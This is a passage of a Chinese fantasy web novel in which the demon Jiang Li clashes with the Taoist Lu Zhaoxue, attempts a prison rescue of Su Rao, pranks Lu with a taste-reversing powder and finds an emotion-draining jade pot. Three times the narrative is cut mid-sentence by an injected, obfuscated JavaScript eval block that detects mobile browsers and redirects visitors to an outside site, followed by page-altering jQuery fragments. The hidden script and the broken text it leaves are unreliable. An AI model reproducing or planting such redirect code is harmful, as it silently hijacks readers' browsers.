她轻抬指尖,一缕暗沉雾气缓缓渗出,她手指在空中挥舞滑动,雾气也跟着在指尖缭绕,好似在作画。片刻,一个面色愁苦的妇人便凝聚而成,跌跌撞撞扑向锦绣阁大门。 “谁?”埋伏在暗处的李捕头发现动静,轻喝道。 妇人见状赶紧跑开,李捕头带着几人迅速追出查探。 江离抓住机会,身形微动,进入锦绣阁门内,迅速穿过堂屋,刚踏入小院内,就发现一道挺拔的身影正站在院子中央。 江离一眼认出,是陆昭雪。 “雕虫小技!现身吧!”他不屑地开口道。 江离知道已被识破,索性现身跃入院中,仍是苏娆形貌,却故意将声音放得柔媚:“道长,好眼力,这么惦记着我呀?”说话间,袖中千万条红丝已如毒蛇吐信般点向他面门。 陆昭雪侧身避开,剑鞘格开红线,语气冷淡地威胁道:“快快束手就擒,否则小命难保。” “你舍得要我的小命吗?”江离轻笑,嘴里故意说着戏弄他的话,她知道陆昭雪这人不近女色,最禁不得女人靠近,她来之前就想清楚了,要以此方法今晚从她手上逃脱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059288|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见“苏娆”如此轻薄,陆昭雪不由得怒从心起,直接下死手,而江离悠哉悠哉,脚下步伐如蝴蝶穿花,险险避开他几记擒拿。 两个人从院内打到屋内,江离借着月光,定睛一看,这就是苏娆的闺房,首饰盒就在陆昭雪背后的梳妆台上。 江离嘴角勾出一抹坏笑,她有办法了。 “道长,你是不是怀疑我是制造活死人案件的真凶?你靠近些,我悄悄告诉你!”她突然旋身贴近,几乎要撞进陆昭雪的怀里,却在他本能后撤的瞬间,足尖一点掠向妆台。 陆昭雪被吓一跳,耳根微热,随即沉下面色,这妖女胆子太大了! 他拔出剑,两人在妆台前过了数招,江离故意露出破绽,让他扣住自己手腕,却顺势往前一靠,仰起脸,吐气如兰:“道长,你抓得人家好疼呢。” 陆昭雪呼吸一滞,手上力道不自觉松了半分。江离趁机挣脱,已拉开妆匣抽屉,伸手抓到玉簪。 江离指尖刚握住簪子,身后破风声已至。她并不回头,顺手将簪子插入头发中。 就在陆昭雪靠近她之时,她突然转身。陆昭雪一惊,急忙停下,但是两个人还是面对面贴在一起。 两人四目相对,周遭空气仿佛凝固,呼吸间,江离甚至能看清数清他颤动的睫毛,看见他骤然收缩的瞳孔。 江离只觉得好笑,好个纯情男人!她故意开口戏谑道:“陆道长,追得这么紧,是不是舍不得我?” 温热的气息喷洒在陆昭雪的脸上,他不由得呼吸一滞,忘了动作。 就是现在,江离突然一掌打到陆昭雪肩膀上,陆昭雪吃痛,让出半边身子,江离趁此机会跑出苏娆的闺房。 刚至小院,却迎面碰上了已经发现中了调虎离山之计正折返回来的李捕头等人,江离很惊讶,这些衙役还有点本事,这么快破了他的障眼法,比她预想的时间早一些。 “妖女哪里逃?”李捕头拔刀厉声喝道。 江离不语,手腕一翻发出数条红丝线,直接击中李捕头等人的胸口,将他们打倒在地,然后飞身而起,准备跳上房顶逃走。 眼看就要成功,三枚锁魂钉飕飕袭来,直刺她的后心。 是陆昭雪! 江离已经感觉到危险,心中非常惶恐,因为她现在人在空中,无法借力,根本来不及躲避。 “阿离,小心!”就在这生死一瞬,一道身影飞扑出来替江离挡下三枚暗器,并用尽最后的力气将江离推上屋顶。 是苏娆,真正的苏娆!她还是放心不下,还是悄悄跟来了,然后在最危急的时刻替江离挡下致命一击。 “砰”得一声,苏娆掉在地上,后背上砸着三枚锁魂钉,鲜血已经浸染她的衣服。 江离站在屋顶上,震惊不已,反应过来后要下去救苏娆,却听她大喊道:“别管我,快走。” 陆昭雪和众捕快也是震惊不已,竟然有两个苏娆,那么谁是真谁是假? 陆昭雪最先清醒过来,他准备纵身上梁,江离见状猛一甩袖,掷出数枚迷魂弹。 随着“嘭”的一声,四周浓烟骤起,众人的视线都被遮蔽。待烟雾散尽,屋顶早已空无一人。 陆昭雪立在原地,面色沉沉。 刚才地上这位奄奄一息的“苏娆”称呼逃走的“苏娆”为阿离,看来地上受伤这个才是真苏娆,而且他在这女子身上闻到了淡淡的妖气,与今日白天在锦绣阁闻到的妖气一样。 刚才那名叫阿离的女子以红丝线作武器,以红丝线作兵器者世间少见,除了月老祠的妖女,就是刚才逃走的阿离,她们到底什么关系? 8. 好感 为了防止苏娆重伤而亡,案子无疾而终,开封府连夜请了汴京最好的郎中,到了第三天苏娆才捡回一条命。又过了两天身子好一点了,开封府、刑部、大理寺立刻联合审问,结合货郎张供词与锦绣阁搜出的残余神仙笑,认定苏娆为近期汴京城内发生的活死人案件的幕后黑手。 任凭苏娆拖着受伤的虚弱身体如何解释都无用,此案庭审结果已呈报给圣上,只等圣上裁决,一时间汴京城传得沸沸扬扬。 自然也传到了江离耳朵里面,她想替苏娆翻案但是不知道从何下手,想劫狱不知道她关在哪里?唯一能和这事扯上关系的陆昭雪已经两日没有回来了,她想打探消息也打探不到。 这天早上,陆昭雪终于回来了,不管多累,陆昭雪每天早上必会练功,这是江离观察多日总结出来的。 于是她故意搬了一张小凳上坐在前院的角落帮厨房张大娘摘豆角。 陆昭雪提着剑到后院的时候,就听到她低声对说:“我做错事情的时候,苏娘子对我是凶了些,但平时对我不错。她总说,只能她欺负我,别人不能欺负我!她心里,应该不坏的。” 陆昭雪脚步一顿,苏娘子?她说得是苏娆?他忽然想起,十天前他从一个浓妆艳抹、名叫“苏娘子”的女人手中买下的阿画,看来那个女人就是苏娆,怪不得他觉得苏娆眼熟。 “陆大哥。”阿画看见他,挣扎着想要站起来。 “坐着吧。”陆昭雪走近,看着她仍有些肿的脚踝,“伤未好,少走动。” “我没事。苏娘子她、她会不会被砍头啊?我听说,连圣上都惊动了,还下了圣旨。”阿画的语气焦急。 “官府自有论断。”陆昭雪看着她担忧的脸庞,语气不觉放缓,“你安心养伤,这些事和你无关,你不要多想。” “苏娘子毕竟给过我饭吃,我听说她受伤了,我能去看看她吗?就一眼!”阿画的大眼睛盯着陆昭雪,满是恳求。 陆昭雪看着阿画眼中那份纯粹,心头微软,这姑娘心地善良,心胸宽广不记仇,真是难得!他不由得放轻语气道:“已有郎中为她疗伤,现在她已无性命之忧。但苏娆如今是重犯,关押之处,寻常人不得探视,你对她的关心我会帮你带到的。” 阿画乖巧地点头,心里已经是止不住的欣喜。第一喜是苏娆没事,第二喜则是陆昭雪可以去关押苏娆的地方,那么悄悄跟着他,一定能找到苏娆。 傍晚,李捕头来客栈找陆昭雪,二人说了一会儿话便一起离开客栈。 阿画知道他们极有可能是去关押苏娆的监牢,便向掌柜的随便找了一个借口自己不舒服要回房休息,掌柜的欣然应允。 趁人不注意,阿画,不!是江离!她以画骨之术变成了少年,然后悄悄溜了出去,跟在陆昭雪和李捕头后面。 陆昭雪警惕性极高,江离中途又换了两种身份,这才保证没有被发现。 陆昭雪和李捕头二人在街巷中穿行,七拐八拐,越走越偏,朝着西北隅一片低矮破旧的坊区行去。这一带罕有人迹,多是废弃的仓房与老宅。 最终,他们在一座废旧的祠堂前停下。李捕头上前,有节奏地叩击门环,三长两短。片刻,木门开启一道缝隙,一双警惕的眼睛在门后扫过,确认来人后,才将门打开,放他们进去。 又过了三柱香的时间,陆昭雪和李捕头才出来。 待二人身影消失,江离催动法力,周身微光流转间,她化作了李捕头的形貌,她低头瞅了瞅全身,又摸了摸腰间的令牌,甚是满意。然后又指尖轻弹,释放出两股怨气,在空中画了几下,两股怨气在身侧迅速凝聚、塑形,化作两名衙役,一左一右跟在她身后。 一切准备就绪,她模仿着李捕头的步态朝着祠堂大门走去,至门前,依样画葫芦地叩响门环,三长两短。 门开缝隙,那双警惕的眼睛再次出现。江离不等对方细看,便压低了嗓子道:“刚接到急令,圣上让开封府今夜提审这妖女。” 门内的人半信半疑,但是一听是圣上的旨意,也不敢怠慢,急忙把门打开。 江离顶着李捕头的样貌,目不斜视地踏入祠堂前院 这座监牢由一座废弃的祠堂改造而成, 五步一岗,十步一哨,明处守卫按刀而立,暗处气息晦涩难辨,显然潜伏着更高明的好手,连脚步与呼吸都收敛得几近于无。 沿中轴对称,前为门厅、中为议事享堂、后为安放牌位的寝堂,两侧设厢房,天井连接各进。现在除了前厅,两侧厢房与后方空间皆已打通,改建为一间间铁栏森然的牢房。里面戒备森严,五步一个守卫,暗处还蛰伏着黑衣人,这些人的脚步和呼吸极其微弱,一看都是高手中的高手。 江离暗自庆幸,还好没有蛮来,要不然她得把自己也搭进去。 进入前厅之后,一张厚重的柏木桌后,一名身着软甲、面容冷峻的男子站起身来,对她抱拳:“李捕头。” 江离心想这应该就是这里管事的,于是抱拳回礼,然后假模假样从怀里掏出一道密旨,单手展开,亮出上面朱红色的印记,大声道:“圣上口谕,案情有变,命开封府连夜提审妖女苏娆。劳烦大人即刻将人提出,由我押回府衙。” 管事男人本不相信李捕头这么快回来,认为其中必有猫腻。但此时李捕头拿出圣旨,里面也确实盖有圣上的大印,他又不得不信,当即下令道:“去甲字重狱,提重犯苏娆。” 见这么顺利,江离在心里偷笑,那张黄布上面哪有什么字,什么大印啊,那不过是她使得惑人眼目的幻术罢了。 半盏茶的功夫,苏娆被两名守卫架了出来。她虚弱得无法站立,垂着头,散乱长发遮住了脸,浑身颤抖。 江离看着她的样子,心里一揪,先是心疼,然后担忧中夹杂着愤怒,这些人怎么敢这样对她?怎么敢的?但抬眼一扫,周围守卫如此森严,她又强迫自己冷静下来,只有冷静,才能带她走。 江离火速朝身后两个假衙役使了个眼色,两人立刻上前,一左一右架起瘫软的苏娆,转身就往外走。 “快走。”江离压低声音催促,自己也紧跟其后,只想尽快离开这龙潭虎穴。 眼看就要跨出前厅的门槛,一道冷喝声自门口传来,惊得江离一个哆嗦。 “何人胆敢擅闯监牢!” 陆昭雪和真正的李捕头去而复返,正立于数步之外的门口,死死地盯着她。 前院前厅的守卫看见两个一模一样的李捕头,顿时傻了眼。 江离心好似沉入寒冰中,他们怎么回来了?这下麻烦了。 而陆昭雪和李捕头回来也只是再问苏娆一些事情,他们觉得此案还有疑点,比如苏娆卖的是神仙笑,刘夫人明明说过刘老爷有个极乐壶,那个壶是干什么用的?现在去哪了?没想到折返之后还碰上一出好戏。 江离此时内心十分挣扎,但是她知道此刻绝不能露怯,她维持着幻形,与真正的李捕头四目相对,并抢先开口:“大胆妖物!竟敢幻化李某形貌,图谋劫狱!” 陆昭雪眼神一寒,万万没料到对方如此狡黠反。身旁的李捕头率先沉不住气,厉声喝道:“你究竟是谁?胆敢冒充本捕头!” “我自然是李进,朝廷加封的六品带刀校尉,现任开封府捕头。”江离模仿着他的语气,甚至将他平时细微的停顿都学得惟妙惟肖,同时向周围守卫下令,“尔等还不将这妖孽拿下!” 守卫面面相觑,看看这个,又看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059289|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个,完全无法分辨,刀举着不知该指向谁。 “你身上有妖气。”陆昭雪冷冷道。 到了画骨仙这个层次,只要不用法术,一般的捉妖师是闻不到妖气的,但是刚才江离使用了幻术,留下了妖气,都半盏茶的功夫了,没想到还是让陆昭雪这狗鼻子闻到了。 “笑话,李某追缉妖邪,沾染些许妖气何足为奇?”江离反唇相讥,亦向前一步,两人距离已不足一丈,气氛剑拔弩张,“倒是你,气息浮荡,神魂不稳,才更像妖怪!” “你……”没想到这妖孽嘴皮子如此厉害,李捕头被气得说不出话来。 陆昭雪却非常冷静,刚才对面“李捕头”走过来的一步,步态平稳、协调,而李捕头习惯外八字走路,假李捕头只顾得上耍嘴皮子,忘了模仿李捕头的走路姿势。 “好精妙的化形之术。”陆昭雪缓缓开口,并看向江离的脚,“可惜,百密一疏。” 江离猛地一惊,回想刚才走路那姿势,心知已暴露,再无周旋可能。她猛地回身,袖中红丝如瀑布般爆射,攻向挡在前面的陆昭雪和李捕头,企图闯出一条路。 陆昭雪拔剑出鞘,寒光一闪,斩断数根红丝,化解了江离的攻势。 “假的?”管事男子见状厉喝,“将人犯押回去!”旁边守卫立刻拖拽着苏娆向后疾退。 “阿离!别管我!快走啊!”苏娆已经知道是江离来救她,挣扎着回头虚弱地喊道。 “拿下她!”管事男子下令,院内守卫立刻从四面八方合拢,一时间刀光剑影交错。 江离腹背受敌,她将红丝化为长鞭,格开数柄袭来的刀锋。 就在她全力应付周围攻势时,陆昭雪以指为笔,凌空虚画一道闪着金光的破邪符,直冲江离心口! 江离急退,挥掌与之对峙。 恰在此时,管事男子窥得空隙,拔刀出鞘,直击她的侧身。 江离不得不分神拍出一掌击退管事,这一分心,对抗陆昭雪符印的力量便弱了三分。 “嘭!” 破邪符直接击中江离的胸口,她遭遇重击,直接飞了出去,喉间腥甜上涌,直接喷出一口血。维持的画骨之术瞬间溃散,江离的本身现了出来。随着她现行,跟着她的两个衙役也化作黑雾消失。 陆昭雪盯着倒在地上的红衣女子,她肌肤雪白,唇边那抹血红得刺眼,让那张艳丽的脸更添几分妖艳,果然是月老祠那妖女!她会幻形之术,那么前几天那个假苏娆应该也是她。这俩妖女真是狼狈为奸,聚在一起专做些害人的勾当。 “果然是你。”陆昭雪冷声道,话音里透出一丝终于揪住狐狸尾巴的得意。 “看来陆道长时时刻刻都惦念着我,真是叫人受宠若惊呢。”江离唇角却勾起一抹妖艳的笑,声音带着沙哑的戏谑。 “你……”当着这么多人的面再次被她言语轻薄,陆昭雪十分恼怒。 他不再多言,举步上前,准备来个最后一击。 就在他逼近的刹那,江离忽地昂首,发出一声凄厉长啸!浓墨般的黑雾自她口中喷涌而出,眉心同时浮现出一道金色火焰印记。 黑雾里挤满女人的脸,有的狰狞嘶吼,有的哀叹哭泣,有的怨毒冷笑……种种骇人表情夹杂着刺耳的尖啸与哭喊,直钻人耳朵,乱人心智。众人只觉得头痛欲裂,慌忙捂耳闭眼,乱成一团。 趁着这一片混乱,江离强提最后气力,化为一道红雾,悄无声息地飘了出去。 等到黑雾散尽,院中已不见那抹红衣。陆昭雪盯着空荡荡的地面,拳头紧了又紧,三次了,竟让她从自己手上逃了三次!一股郁火梗在喉头,气得他要将后槽牙咬碎了!绝对不会再有下一次!陆昭雪暗暗发誓。 9. 捉弄 满福客栈后院的小屋子里,江离已用尽最后一丝力气变回阿画。她蜷缩床上,脸色比纸还白,刚才挨了陆昭雪一下,又强行催动本源怨气施展“百怨障目”,已伤及精元,她必须好好养着。 李捕头听陆昭雪说过他在月老祠遇到过一个红衣妖女摄人魂魄,被他打断才没有得逞。本以为那女妖是活死人案件的真凶,他们在城中张贴通缉令,追查了半个月都没有找到踪迹,后面因为刘员外的案子牵扯出苏娆,他们放松了对红衣女妖的追捕,没想到她和苏娆是一伙的,这下两案可以并成一案了。 于是李捕头当晚就禀告开封府尹,加大对红衣女妖的搜捕力度,也许活死人案件苏娆只是一个傀儡,那女妖才是幕后黑手。 陆昭雪也跟着忙着了一夜,翌日清晨才回到客栈,休息片刻便去前院练剑。但以往那个怯生生忙碌的身影今日却不在,他逮住一个路过的杂役问道:“阿画姑娘去哪了?” “阿画啊,从昨晚开始就人不舒服,一直没出房门。” 陆昭雪心头莫名一紧,转身往后院走去。推开阿画房间的木门,入眼便见阿画蜷缩在床上,身上盖着薄褥子 阿画听到动静惶然睁眼,看清是他,挣扎着想坐起来。 “别动。”陆昭雪声音不觉放低。他环视这陋室,房间窄小阴暗,仅有一张床、一个柜子、一张方桌和两条凳子,再看着阿画苍白的小脸和身上单薄的衣物,心里不由得升起一阵怜惜。 他走到床前,凝视着阿画,问道:“你怎么样了?” 阿画咳嗽了两声,道:“我没事,许是着凉了。” “我给你请个郎中来看看。” 阿画心头一跳。郎中一来,她不就露馅了?她连忙细声说道:“不用了,掌柜的早上已经请街口的王大夫看过了,开了药,说静养就好。真的多谢陆公子。” 陆昭雪见她坚持,便不再强求,说了一句“我去去就回”便转身离开。 门一关,阿画脸上那点柔弱顿时垮下,取而代之的是咬牙切齿的恨。陆昭雪!在牢里下手那么狠,差点真要了她的命!别以为关心她几句就能让他不记仇。 必须快点吸食怨气补充精元,但是去哪找到苦主呢?阿画躺下心里盘算着,突然有人敲响她的门,她吓了一大跳,起身一看是陆昭雪推门进来。 他身后跟着几个人,抬进来一张新木床、厚厚的棉褥锦被、一套新的桌椅,还有几套新衣服。 阿画撑起身子坐起来,连忙摆着手,“陆大哥,这这太破费了,我我不能要。” “给你用,便收着。”陆昭雪语气干脆,没有商量的余地。 闻言,阿画露出一个恰到好处的微笑,小声道:“那谢谢陆大哥。” “不必客气。”陆昭雪见她收下,心里也开心,又嘱咐几句,然后转身离开。 待他离开,阿画她伸手摸了摸身下柔软的新褥子,又看向那叠放整齐的新衣,眼底掠过一丝复杂的情绪,别以为对她好一点就能让她放过他! 她忍着不适下床,从柜子的包袱里摸出一个瓷瓶,里面装的是味觉颠倒散。任何人吃了它,三天之内,吃甜的会觉得是苦的,吃咸会觉得是涩的,吃酸的会是腥的,反之亦然。 大多数时候她都是一个人独居,最喜欢鼓捣这些小玩意,今天可算是派上用场了。 傍晚的时候阿画觉得身子好一些,起床假装到厨房找吃的。正巧遇到厨房的人给陆昭雪送晚饭,而送饭的帮工帮工在拿碗筷,她趁此机会悄悄将粉末撒进汤里,那东西遇水即化,无色无味。 做完这些,她回到自己小屋,铺开一张纸,用左手歪歪扭扭地写下几个字,又把字条折好,趁着四下无人,悄悄塞进陆昭雪房门的门缝里。 陆昭雪还是和往常一样地用晚饭,看着桌子上的四菜一汤,他先夹了一筷子清炒菠菜送入口中。 下一刻,他整张脸都皱了起来。 那本该清淡微甜的蔬菜,入口却是一股有着陈年裹脚布的咸腥味儿!他猛地呛住,抓起茶碗灌了一大口,谁知清水入口,竟变成了齁甜发腻的糖浆,齁得人直犯恶心。 “噗——!”他没忍住,全喷了出来。 这不对劲。 不死心的陆昭雪又夹了一块桂花糖藕放入嘴中。 “啊呸!”本来香甜的藕片入口比苦瓜还要苦,陆昭雪一口吐了出来。 这做得什么菜?他放下筷子,快步走到门口,大声呼叫掌柜的,想找他算账。 却在开门的瞬间,发现门缝里夹着一张字条,他拿起来展开。上面歪歪扭扭地写着几个字,内容却让他额角青筋一跳。 “陆道长,牢中一役,小女子没齿难忘。特奉上百味尝新散,请您品鉴三日。” 落款虽无姓名,但那戏谑挑衅的语气,除了昨夜那红衣妖女,还能有谁? “妖、女!”两个字几乎是从牙缝里挤出来的,陆昭雪将纸条揉得歪七扭八。他竟又着了她的道!看来上一次他冷热失调也是她在捉弄,被她逃跑三次,捉弄两次,不抓到她,他誓不为人。 陆昭雪深吸一口气,沉着脸下楼。 掌柜的正扒拉着算盘,见他过来,热情招呼:“陆道长,用过饭了?可是饭菜不合口味?” “并非。”陆昭雪打断他,声音有点僵硬,“接下来三日,我的饮食……需调整。” 掌柜的一愣:“您说,怎么调整?可是要清淡些?” 陆昭雪喉结动了动,眼神闪烁,不能直视对方探究的视线,断断续续地道:“要……那个滋味重些的。” “滋味重?好嘞,我让厨房多给你放一些油盐酱醋。”掌柜的还以为自己探查到了陆昭雪的心思,欢快地道。 “不止,要那个最苦,最腥,最……”他实在说不出“最臭”那俩字,含糊了一下,“最……呃,气味浓烈的。” 啊?掌柜的不解,他独自琢磨了一会儿,眼睛慢慢睁大,像是突然悟了什么了不得的玄机:“哦!我懂了!陆道长这是修行到了关键处,需尝遍百味,磨砺心志。” 陆昭雪嘴角抽了抽,没承认也没否认,只硬邦邦地道:“能否办到?” “能!太能了!”掌柜的来了精神,扳着手指头就开始报,“最苦的?有苦丁茶、苦瓜芯、黄连粉、莲子心熬的汤,苦得保证您舌根发麻!最腥的?有新鲜鱼肠鱼鳔,还有羊肝捣成泥,腥气冲天!最气味浓烈的嘛?”他凑近些,压低声音,带着点分享独家秘方的神秘感,“后街老张头家的陈年臭卤汁,泡什么都够味!还有西坊刘掌柜家的干货铺子,腌足三年的臭鳜鱼,那味道,啧啧,保准您满意。” 他报完,还殷切地看着陆昭雪:“陆先生,您看这口味够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059290|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重了吗?不够咱再想想!” 陆昭雪听着那一串匪夷所思的菜谱,额角突突直跳。他闭了闭眼,从牙缝里挤出两个字:“够了。” “好嘞!”掌柜的拍了下大腿,把包在我身上写在脸上了,“我这就去安排!保准让您满意!” 他说完边转身去后厨吩咐,嘴里还念念有词:“高人就是高人,修炼的法子都这么与众不同!” 留下陆昭雪独自站在堂中,拳头紧了又紧,只觉得未来三日,恐怕比捉拿十个大妖还要难熬。而那罪魁祸首,他磨了磨后槽牙,暗中发誓一定百倍奉还! 接下来的三日,陆昭雪几乎闭门不出。 头一日还好,伙计只是送进去一罐绿不拉几的汤汁,说是苦瓜加莲子心熬制的。伙计出来时龇牙咧嘴,跟厨子嘀咕:“陆道长喝那玩意,眉头都没皱一下,真是位狠人。” 第二日,伙计提着个盖得严实的食盒,一路小跑送上楼。没过多久,二楼走廊隐约飘散开一阵淡淡的肉腐味。 引得住在陆昭雪隔壁的旅客直向掌柜的投诉:“你们客栈是不是死了老鼠没收拾?” 掌柜的连连作揖陪笑:“有客人老寒腿犯了,正在用偏方治,味道大了些,莫怪,莫怪啊!” 第三日,李捕头来了。刚踏入陆昭雪房门外那条走廊,鼻子下意识抽动两下,这啥怪味道?他定了定神,抬手叩门。 “进。”陆昭雪的声音从屋内传来,平静无波。 李捕头推门而入,那股子难以言喻的气味更明显了些。只见陆昭雪端坐桌旁,面前摊着一副发黄的地图,见他进来,又把地图收起来。 “陆道长,开封府、刑部和大理寺已将苏娆定为活死人案首恶,并报于圣上。圣上下旨,七日后在东街菜市口斩首苏娆。” 陆昭雪微微惊讶:“这么快?那她的同党……” “苏娆咬死了自己并无其他同伙。上头的意思,是就此结案,以安民心。” 房间内沉默了片刻,陆昭雪对此结果颇为不满。 李捕头终于忍不住,他斟酌着开口,语气带着十二万分的小心,“陆道长,您这屋里可是在……嗯,炼制什么特别的丹药?” 陆昭雪嘴角抽了抽,略显心虚地道:“近日修行遇到阻碍,尝试以特殊药丸疏通经脉。” 练功?疏通经脉?用这种味道的药?这味道别说疏通经脉了,疏通茅坑都够劲了,昆仑墟的功法真是独特。 李捕头努力绷住表情,干巴巴地点头:“原来如此啊,陆先生真是勤勉不辍,在下佩服,佩服!” 说完又闲聊两句,便匆匆地逃也似的告辞离开了。出了客栈之后赶紧大口吸上几口气,顿觉神清气爽。 陆昭雪自然感受到了李捕头的嫌弃,他这几天是既无奈又尴尬,而这一切都要拜那妖女所赐。 妖女阿离!他在心中咬牙切齿地默念这四个字,恨不得将那名字的主人嚼碎咽下。 与此同时,气色已经好了一些的阿画正坐在后厨帮忙择菜,听着伙计们和王婆子每日活灵活现的学舌,说陆道长最近如何的怪异,专挑那臭的、苦的、腥气扑鼻的东西下咽,还吃得面不改色。 阿画面上仍是那副温顺怯然的表情,可心里早就笑得东倒西歪,恨不得立刻躺在地上来回滚上两圈才痛快,心里那口闷气,总算散了大半。 10. 玉壶 阿画心里高兴,连王婆子嚼的舌根都不觉得厌烦了。 王婆子一边揉面,一边道:“常在咱这吃饭的吴通判,啧啧,又往府里抬人了,听说是扬州来的瘦马,才十七!可怜吴夫人,年轻时候招吴通判这个赘婿,现在他有权有势就花天酒地,吴夫人独守空房,郁郁寡欢,人都瘦脱形了。” 阿画低着头剥蒜,眼睛一亮,被夫君冷落的深宅怨妇,正是上好纯正的怨气来源,吸食如此怨气才能让她恢复得更快些。 是夜,阿画翻出后院,在小巷里完成画骨,变身江离,悄悄地潜入王婆子说的吴府。 吴夫人坐在房中,唉声叹气,周身笼罩着一层浓得化不开的悲苦与绝望。散发出的怨气精纯而绵长,对江离而言是上佳的补品。她匿身梁上,阖目凝神,将那黑色的气体吸入体内,身体渐渐舒缓。 事毕,她轻轻吐出一口气。接下来,是该去拜访一下那位吴通判了。 循着笙歌笑语,她来到府邸东侧的院落。雕花窗内暖烛高烧,人影晃动,吴通判正左拥右抱,与美妾调笑饮酒,好不快活。 她要给吴通判编织一个梦,在梦里,他与吴夫人身份彻底对调。他身份高贵,吴夫人是身份卑微的佃户之女。他对吴夫人一见钟情,娶进门后倾尽所有讨好,吴夫人却对他日益厌弃,凭美貌攀附上比他位高权重的权贵,将他视若仆役,动辄打骂。甚至公然在府中豢养面首,在他面前调笑嬉闹。在梦中,吴通判成了那个被踩在脚下的人,他对吴夫人所做的一切都要在梦里尝一遍。 就在她抬起指尖,准备编织梦境的梦丝即将落定的刹那。屋檐下传来窸窣声江离耳朵微动,然后抬眼查看情况。 只见吴通判书房侧后方的屋檐阴影下,竟无声无息地倒挂着一个近乎与黑暗融为一体的东西。它形似人,却更佝偻,四肢关节扭曲,浑身赤裸,皮肤呈暗青色,一双泛着黄光的眼睛正贪婪地盯着下方书房窗口。那怪物一只扭曲的爪子里,正捧着那只羊脂白玉壶!壶口对着下方吴通判卧室的方向。 那怪物两只扭曲的爪子正捧着一个羊脂白玉壶!壶口对着下方吴通判卧室的方向,一缕缕浑浊的气息正在从吴通判身上被抽取,涓涓地流入壶中。 江离闭眼发动灵力感受,气息里面有喜、怒、哀、惧、爱、恶、欲,这怪物竟然吴通判美人在怀、饮酒作乐,心情最放松,抽取他的七情六欲。 江离眼神一冷,她以怨气为食,取怨偿愿。她已经吸食了吴夫人的怨气,而吴通判的报应尚未了结,这怨气还算有主之物,岂容这不人不鬼的东西半路打劫? 她毫不犹豫,指尖一弹,一根红线精确弹出,精准地打在那玉壶壶身与怪物爪子衔接的薄弱处! “叮!” 一声极轻微的脆响,玉壶被打偏,停止吸取吴通判的七情六欲。那倒挂的怪物猛地转头,黄澄澄的眼珠锁定了江离的方向,发出无声的、充满威胁的低嘶。 江离不退反进,袖中红丝如毒蛇出洞,直卷怪物持壶的前肢! 怪物异常敏捷,松爪缩身,险险避过红丝,另一只爪子却猛地朝江离面门抓来。江离旋身闪过,红丝回旋,缠向玉壶。一时间,一妖一怪在狭窄的屋檐下无声交手数招,红丝与黑影翻飞,都顾忌着不弄出大动静惊动府中人。 最终,江离的红丝虽未能夺下玉壶,却成功将其从怪物爪中击飞,玉壶翻滚着落入下方花丛。 怪物见状,跳下捡壶,被江离一掌击飞。怪物自知不敌,怨恨地瞪了江离一眼,然后快速攀爬至屋顶,消失得无影无踪。 纵使江离想追,已是来不及。她纵身落在花丛边,拾起那冰凉的玉壶。 壶身温润,却透着一股令人不适的邪气。她将其收起,又看向吴通判卧房,明晚再来给他编梦。 “便宜你了。”她低哼一声,转身离去。当务之急,是查清这怪物和玉壶的来历,它们极有可能就是救苏娆出狱的关键。 江离又变身阿画,将玉壶带回客栈,悄悄藏在了自己那间简陋小屋的破木柜里,用几件旧衣服盖住。 当夜子时,万籁俱寂。 一阵极其细微的“簌簌”声,将浅眠的阿画惊醒。声音来自木柜方向。她屏息凝神,于黑暗中睁眼看去。 只见柜门缝隙里,正透出忽明忽暗的、浑浊的微光,那光色奇异,混杂着红、黄与白几种颜色,玉壶放在那里! 阿画警惕地起身,贴近柜门缝隙。 窗外恰好掠过一只夜栖的麻雀,或许是感受到什么,惊慌地“唧”了一声,扑棱翅膀想飞走。 就在这一刹那,柜中玉壶光芒骤然一盛,聚成一束光,从柜子的缝隙中射出来掠过那只麻雀。 麻雀的惊叫戛然而止,而是僵直地停在窗棂上,小小的脑袋歪向一边,眼睛空洞无神,仿佛失去灵魂,没有恐惧,没有求生欲,甚至连基本的警惕都消失了,成了一具尚有呼吸心跳、却如同木偶般的“活死鸟”! 阿画瞳孔骤缩,背脊窜上一股凉意。这壶……竟能隔空强行抽取活物的七情六欲!且如此霸道迅速! 她立刻打开柜门,只见玉壶正在微微震颤,壶身上的光芒缓缓平复,那“簌簌”声也消失了,仿佛刚刚饱餐了一顿微不足道的“点心”,吃饱了就安静下来。 阿画盯着玉壶,眼神彻底冷了下来。这不是法器,更像是个活着的、贪婪的寄生怪物。必须尽快处理掉,而且要利用它,揪出背后的人。 翌日,阿画正琢磨着玉壶之事,在客栈后厨帮忙时,却听到王婆子与几个杂役压着声音议论: “听说了吗?那个害人的妖精苏娆,判下来了!” “这么快?” “可不!证据确凿,她就是活死人案的真凶。七日后,菜市口,问斩!” 